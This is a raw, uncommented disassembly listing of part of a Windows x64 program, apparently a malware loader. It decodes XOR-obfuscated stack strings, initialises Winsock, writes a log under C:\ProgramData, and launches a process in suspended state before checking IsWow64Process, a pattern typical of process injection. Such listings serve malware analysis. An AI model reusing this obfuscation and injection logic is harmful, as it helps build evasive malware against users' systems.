mov qword [rbp + 0x500], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs r15, 0xf245f579a3d34195
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x47e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x47e8], rax
movdqa xmm0, xmmword [rbp + 0x47e0]
xorps xmm0, xmmword [rbp + 0x500]
movdqa xmmword [rbp + 0x500], xmm0
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x2b38]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x8665911ccfba20d3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa20], rcx
movabs rax, 0xe1cec296330442f1
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa28], rcx
movabs rax, 0x89543fdf3321f273
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa30], rax
movabs rax, 0x27be216b10417483
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa38], rax
movabs rax, 0x51a82a773e56c45c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa40], rax
movabs rax, 0xdd701e35e56f2bf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa48], rax
movabs rax, 0x192a45fbbc8cd4e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa50], rax
movabs rcx, 0x64bd6a5a8fa4adb4
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xa58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
movabs rax, 0x549e550e7b221bf0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
movabs rax, 0x37c90a055b20b639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4560], rax
movabs rax, 0xed402e04c51d4e82
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4568], rax
movabs rax, 0x192a45fbbcada78b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4570], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4578], rax
vmovdqu ymm0, ymmword [rbp + 0xa20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0xa20], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4560]
vmovdqa ymmword [rbp + 0xa40], ymm1
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x47f0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x47f8], rax
vmovdqa xmm0, xmmword [rbp + 0x47f0]
vxorps xmm0, xmm0, xmmword [rbp + 0x510]
vmovdqa xmmword [rbp + 0x510], xmm0
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x2b18]
vzeroupper
call fcn.140017fd0
mov rsi, rax
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x550], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x558], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4800], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4808], rax
movdqa xmm0, xmmword [rbp + 0x4800]
xorps xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x550], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4810], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4818], rax
movdqa xmm0, xmmword [rbp + 0x4810]
xorps xmm0, xmmword [rbp + 0x520]
movdqa xmmword [rbp + 0x520], xmm0
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x2af8]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x12], 0
mov edx, WSAStartup
lea rcx, [rbp + 0x2998]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x2ad8]
lea rcx, [rbp + 0x12]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x540], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x548], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4820], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4828], rax
movdqa xmm0, xmmword [rbp + 0x4820]
xorps xmm0, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x540], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x2ab8]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x530], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x538], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4830], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4838], rax
movdqa xmm0, xmmword [rbp + 0x4830]
xorps xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x530], xmm0
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x2a98]
call fcn.140018f00
nop
lea r8, [rbp + 0x540]
mov rdx, rax
lea rcx, [rbp + 0x2a78]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2a58]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2a38]
call fcn.140019110
nop
lea r8, [rbp + 0x550]
mov rdx, rax
lea rcx, [rbp + 0x2a18]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x29f8]
call fcn.140019110
nop
lea r8, [rbp + 0xa20]
mov rdx, rax
lea rcx, [rbp + 0x29d8]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x29b8]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3740]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x3740]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x29b8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x29d8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x29f8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2a18]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2a38]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2a58]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2a78]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2a98]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2ab8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2ad8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2af8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2b18]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2b38]
call fcn.140017eb0
cmp byte [rbp + 0x3fa0], 0
jne 0x140025b29
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4840], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4848], rax
movdqa xmm0, xmmword [rbp + 0x4840]
xorps xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x560], xmm0
movabs rax, 0x8665911ccfba20d3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c0], rax
movabs rax, 0xe1cec296330442f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c8], rax
movabs rax, 0x99543bdf3321f273
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d0], rax
movabs rax, 0x549e550e5a507e86
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
movabs rax, 0x549e550e7b221bf0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x8c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x8c0], ymm1
vzeroupper
call qword [sym.imp.USER32.dll_GetDesktopWindow]
xor r9d, r9d
lea r8, [rbp + 0x560]
lea rdx, [rbp + 0x8c0]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400292b4
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4a70], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a78], rax
movdqa xmm0, xmmword [rbp + 0x4a70]
xorps xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0x6b0], xmm0
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x16a8]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x9731941dcabf20c3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x920], rcx
movabs rax, 0xf0cec899330b42fa
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x928], rcx
movabs rax, 0x82432f9a283bbb27
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x930], rcx
movabs rax, 0x549e550e7b226284
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x938], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x920]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x920], ymm1
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4a60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a68], rax
vmovdqa xmm0, xmmword [rbp + 0x4a60]
vxorps xmm0, xmm0, xmmword [rbp + 0x6c0]
vmovdqa xmmword [rbp + 0x6c0], xmm0
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0x1688]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x700], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x708], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4a50], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a58], rax
movdqa xmm0, xmmword [rbp + 0x4a50]
xorps xmm0, xmmword [rbp + 0x700]
movdqa xmmword [rbp + 0x700], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4a40], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a48], rax
movdqa xmm0, xmmword [rbp + 0x4a40]
xorps xmm0, xmmword [rbp + 0x6d0]
movdqa xmmword [rbp + 0x6d0], xmm0
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0x1668]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x16], 0
mov edx, 0x90
lea rcx, [rbp + 0x1508]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x1648]
lea rcx, [rbp + 0x16]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x6f0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x6f8], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4a30], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a38], rax
movdqa xmm0, xmmword [rbp + 0x4a30]
xorps xmm0, xmmword [rbp + 0x6f0]
movdqa xmmword [rbp + 0x6f0], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1628]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x6e0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x6e8], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4a20], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a28], rax
movdqa xmm0, xmmword [rbp + 0x4a20]
xorps xmm0, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0x6e0], xmm0
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x1608]
call fcn.140018f00
nop
lea r8, [rbp + 0x6f0]
mov rdx, rax
lea rcx, [rbp + 0x15e8]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x15c8]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x15a8]
call fcn.140019110
nop
lea r8, [rbp + 0x700]
mov rdx, rax
lea rcx, [rbp + 0x1588]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1568]
call fcn.140019110
nop
lea r8, [rbp + 0x920]
mov rdx, rax
lea rcx, [rbp + 0x1548]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1528]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3b60]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x3b60]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x1528]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1548]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1568]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1588]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x15a8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x15c8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x15e8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1608]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1628]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1648]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1668]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1688]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x16a8]
call fcn.140017eb0
movabs rax, 0x972d9617d6b22dce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x940], rax
movabs rax, 0xe1c5d99910473fec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x948], rax
movabs rax, 0x8a5e24df3b3bbb6f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x950], rax
movabs rax, 0x549e7b2055507e94
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x958], rax
movabs rsi, 0xf245f579a3d34195
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
movabs r14, 0x549e550e7b221bf0
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x940]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x940], ymm1
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0x16c8]
vzeroupper
call fcn.140017fd0
mov rdx, rax
lea rcx, [rbp + 0x3fa8]
call fcn.140035a10
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4034], xmm0
movups xmmword [rbp + 0x4044], xmm0
movups xmmword [rbp + 0x4054], xmm0
movups xmmword [rbp + 0x4064], xmm0
movups xmmword [rbp + 0x4074], xmm0
movups xmmword [rbp + 0x4084], xmm0
mov dword [rbp + 0x4094], eax
mov dword [rbp + 0x4030], WSAGetLastError
movups xmmword [rbp + 0x3f88], xmm0
mov qword [rbp + 0x3f98], rax
movabs rdi, 0x9d219b10f48f7bd6
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x960], rax
movabs rbx, 0xe7dfdf810f3b11e9
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x968], rax
movabs rax, 0xeb3148ff5c67e16a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x970], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x978], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov rsi, r14
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x960]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x960], ymm1
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x4010]
vzeroupper
call fcn.140017fd0
nop
lea rcx, [rbp + 0x4010]
call fcn.140017ea0
mov rdx, rax
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x980], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x988], rcx
movabs rax, 0xc555259c0067e16a
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x990], rcx
movabs rax, 0x549e550e7b476395
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x998], rax
movabs rdi, 0xf245f579a3d34195
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rbx, 0xeb3148ff5c55d207
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x980]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x980], ymm1
lea rax, [rbp + 0x3f88]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x4030]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x980]
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rdx, [rbp + 0x3fa4]
mov rcx, qword [rbp + 0x3f88]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rbp + 0x3fa4], 0
jne 0x1400281e4
lea rdx, [rbp + 0x3f88]
lea rcx, [rbp + 0x1c28]
call fcn.1400215a0
mov r12, qword [rax + 8]
mov rcx, r15
call fcn.140021580
test eax, eax
jne 0x140028c11
mov rcx, r15
call fcn.140021670
mov rdx, r12
mov rcx, qword [rbp + 0x3f88]
call fcn.140021680
mov rcx, r15
call fcn.1400217d0
mov rdx, r15
lea rcx, [rbp + 0x3f88]
test eax, eax
jne 0x140028725
call fcn.1400217f0
test eax, eax
je 0x140028bf0
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4a10], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a18], rax
movdqa xmm0, xmmword [rbp + 0x4a10]
xorps xmm0, xmmword [rbp + 0x710]
movdqa xmmword [rbp + 0x710], xmm0
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x1888]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x9e65871cc7b22ed9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x880], rcx
movabs rax, 0xa3cfc9903f0917ff
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x888], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x890], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x880]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x880], ymm1
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4a00], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a08], rax
vmovdqa xmm0, xmmword [rbp + 0x720]
vxorps xmm0, xmm0, xmmword [rbp + 0x4a00]
vmovdqa xmmword [rbp + 0x720], xmm0
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x1868]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x760], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x768], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x49f0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x49f8], rax
movdqa xmm0, xmmword [rbp + 0x760]
xorps xmm0, xmmword [rbp + 0x49f0]
movdqa xmmword [rbp + 0x760], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x49e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x49e8], rax
movdqa xmm0, xmmword [rbp + 0x730]
xorps xmm0, xmmword [rbp + 0x49e0]
movdqa xmmword [rbp + 0x730], xmm0
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0x1848]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x17], 0
mov edx, 0xb2
lea rcx, [rbp + 0x16e8]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x1828]
lea rcx, [rbp + 0x17]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x750], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x758], rcx
movabs r15, 0xf245f579a3d34195
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x49d0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x49d8], rax
movdqa xmm0, xmmword [rbp + 0x750]
xorps xmm0, xmmword [rbp + 0x49d0]
movdqa xmmword [rbp + 0x750], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1808]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x740], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x748], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x49c0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x49c8], rax
movdqa xmm0, xmmword [rbp + 0x740]
xorps xmm0, xmmword [rbp + 0x49c0]
movdqa xmmword [rbp + 0x740], xmm0
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0x17e8]
call fcn.140018f00
nop
lea r8, [rbp + 0x750]
mov rdx, rax
lea rcx, [rbp + 0x17c8]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x17a8]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1788]
call fcn.140019110
nop
lea r8, [rbp + 0x760]
mov rdx, rax
lea rcx, [rbp + 0x1768]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1748]
call fcn.140019110
nop
lea r8, [rbp + 0x880]
mov rdx, rax
lea rcx, [rbp + 0x1728]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1708]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3c68]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x3c68]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x1708]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1728]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1748]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1768]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1788]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x17a8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x17c8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x17e8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1808]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1828]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1848]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1868]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1888]
jmp 0x140028be4
call fcn.140021980
test eax, eax
je 0x140028bf0
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x49b0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x49b8], rax
movdqa xmm0, xmmword [rbp + 0x770]
xorps xmm0, xmmword [rbp + 0x49b0]
movdqa xmmword [rbp + 0x770], xmm0
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x1a48]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x9e65871cc7b22ed9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x9a0], rcx
movabs rax, 0xa3cfc9903f0917ff
mov qword [rbp], rax
mov rcx, qword [rbp]
